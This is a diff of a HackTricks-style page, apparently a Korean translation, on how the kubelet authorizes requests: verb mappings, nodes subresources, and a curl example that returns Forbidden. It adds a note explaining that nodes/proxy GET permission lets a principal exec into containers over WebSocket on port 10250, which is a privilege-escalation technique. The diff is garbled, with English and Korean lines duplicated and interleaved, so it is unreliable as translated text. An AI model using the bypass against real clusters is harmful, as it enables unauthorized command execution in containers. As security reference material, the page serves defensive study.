+59,58 @@ } }, ``` -kubelet은 구성된 API 서버에서 **`SubjectAccessReview`** API를 호출하여 각 요청이 **허가되었는지** **결정**합니다. +The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.** -kubelet은 apiserver와 동일한 [요청 속성](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 접근 방식을 사용하여 API 요청을 허가합니다: +kubelet은 구성된 API 서버에서 **`SubjectAccessReview`** API를 호출하여 각 요청에 대해 **권한이 있는지** **판단**합니다. -- **작업** +The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver: -| HTTP 동사 | 요청 동사 | +kubelet은 apiserver와 동일한 [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 방식을 사용하여 API 요청을 인가합니다: + +- **Action** + +- **동작** + +| HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | 생성 | -| GET, HEAD | 가져오기 (개별 리소스의 경우), 목록 (전체 객체 내용을 포함한 컬렉션의 경우), 감시 (개별 리소스 또는 리소스 컬렉션을 감시하는 경우) | -| PUT | 업데이트 | -| PATCH | 패치 | -| DELETE | 삭제 (개별 리소스의 경우), 컬렉션 삭제 (컬렉션의 경우) | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- Kubelet API와 통신하는 **리소스**는 **항상** **노드**이며, **서브리소스**는 들어오는 요청의 경로에서 **결정**됩니다: +- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path: -| Kubelet API | 리소스 | 서브리소스 | +- Kubelet API와 통신하는 **resource**는 항상 **nodes**이며, **subresource**는 들어오는 요청의 경로에서 **결정**됩니다: + +| Kubelet API | resource | subresource | | ------------ | -------- | ----------- | | /stats/\* | nodes | stats | | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | -| _모든 기타_ | nodes | proxy | +| _all others_ | nodes | proxy | -예를 들어, 다음 요청은 권한 없이 kubelet의 포드 정보를 접근하려고 했습니다: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +> [!NOTE] +> WebSocket 기반의 `/exec`, `/run`, `/attach`, 및 `/portforward`는 기본 **proxy** subresource에 해당하며 초기 HTTP **GET** 핸드셰이크로 인가됩니다. `nodes/proxy` **GET** 권한만 있는 주체라도 WebSockets를 통해 `https://:10250`에 직접 연결하면 컨테이너를 exec할 수 있습니다. 자세한 내용은 [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion)를 참조하세요. + +For example, the following request tried to access the pods info of kubelet without permission: + +예를 들어, 다음 요청은 kubelet의 pods 정보를 권한 없이 접근하려고 시도했습니다: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- 우리는 **금지됨**을 받았으므로 요청이 **인증 검사를 통과했습니다**. 그렇지 않았다면 우리는 단지 `권한 없음` 메시지를 받았을 것입니다. -- **사용자 이름**(이 경우 토큰에서)을 볼 수 있습니다. -- **리소스**가 **노드**였고 **하위 리소스**가 **프록시**였는지 확인하십시오(이전 정보와 일치합니다). +- 우리는 **Forbidden** 응답을 받았으므로 요청이 **passed the Authentication check**. 그렇지 않았다면 단순히 `Unauthorised` 메시지만 받았을 것이다. +- 우리는 **username**을 볼 수 있다(이 경우 token에서) +- **resource**가 **nodes**이고 **subresource**가 **proxy**였음을 확인하라(이는 앞의 정보와 일치한다) -## References +## 참고자료 - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}